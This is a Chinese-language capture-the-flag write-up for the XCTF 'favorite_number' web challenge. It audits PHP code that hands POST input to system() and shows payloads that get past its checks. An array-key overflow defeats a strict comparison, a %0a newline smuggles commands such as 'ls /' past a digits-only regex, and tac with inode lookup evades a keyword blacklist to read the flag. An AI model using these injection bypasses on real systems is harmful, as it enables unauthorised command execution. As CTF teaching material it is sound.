攻防世界Web:favorite_number

打开页面,发现一串代码,代码审计:

 <?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
    $num= $_POST["num"];
    if (preg_match("/^\d+$/im",$num)){
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo 'Bonjour!';
        }
    }
} else {
    highlight_file(__FILE__);
} 

解决目的就是读懂代码,然后构造出payload绕过限制:

  1. if($stuff === $array && $stuff[0] != 'admin')stuff[0]不能等于admin,但stuff又是等于array的,代码中的//php5.5.9 提示肯定是有用的,去查阅资料有PHP数组key溢出问题。
  2. preg_match("/^\d+$/im",$num):检测是不是全是数字,
  3. preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num):相当于一个黑名单,过滤了一些

接下来构造payload,绕过成功:

stuff[4294967296]=admin&stuff[1]=user&num=123

在这里插入图片描述用跨行%0a去绕过数字检测,构造payload看目录:num=123%0als

在这里插入图片描述num=123&%0als /

在这里插入图片描述发现有flag,但由于这道题过滤了cat等,所以通过innode索引结点去看flag(在Linux中,每个文件都有自己的innode编号的,可以通过innode表去查找目标文件):num=123%0als / -i
在这里插入图片描述
flag的innode为15993546,用tac去查看flag文件,拿到flag:

在这里插入图片描述
(反引号作用就是先执行反引号里面的内容)
在这里插入图片描述
总结:
数组key溢出漏洞
跨行检测绕过
tac、innode使用

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值